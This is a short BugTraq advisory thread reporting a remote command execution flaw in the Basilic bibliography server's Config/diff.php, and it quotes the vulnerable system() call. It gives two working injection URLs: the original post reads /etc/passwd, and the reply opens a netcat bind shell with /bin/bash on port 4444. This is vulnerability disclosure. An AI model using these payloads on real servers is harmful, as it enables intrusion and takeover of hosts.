BugTraq
Re: Basilic RCE bug Jul 06 2012 04:49PM
larry0 me com
verified, http://artis.imag.fr/Software/Basilic/

http://127.0.0.1/basilic/Config/diff.php?file=%26nc%20-ltp4444%20-e%20/b
in/bash&new=1&old=2

for an interactive shell on port 4444. Neat.

line 39 of diff.php is

system("diff ../$_GET[old]/$_GET[file] $_GET[new]/$_GET[file] | sed s%\"<\"%\"\<\"%g | sed s%\">\"%\"\>\"%g");

On Jun 30, 2012, at 01:45 PM, m.razavi777 (at) gmail (dot) com [email concealed] wrote:

Hi
Dear Sir

Basilic is an Automated Bibliography Server for Research Publications Diffusion that use by many research center.
there is a RCE bug in basilic/Config/diff.php s could allow an attacker to run system command in server.
sample:
http://127.0.0.1/basilic/Config/diff.php?file=%26cat%20/etc/passwd&new=1
&old=2

Regards
M.Razavi

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus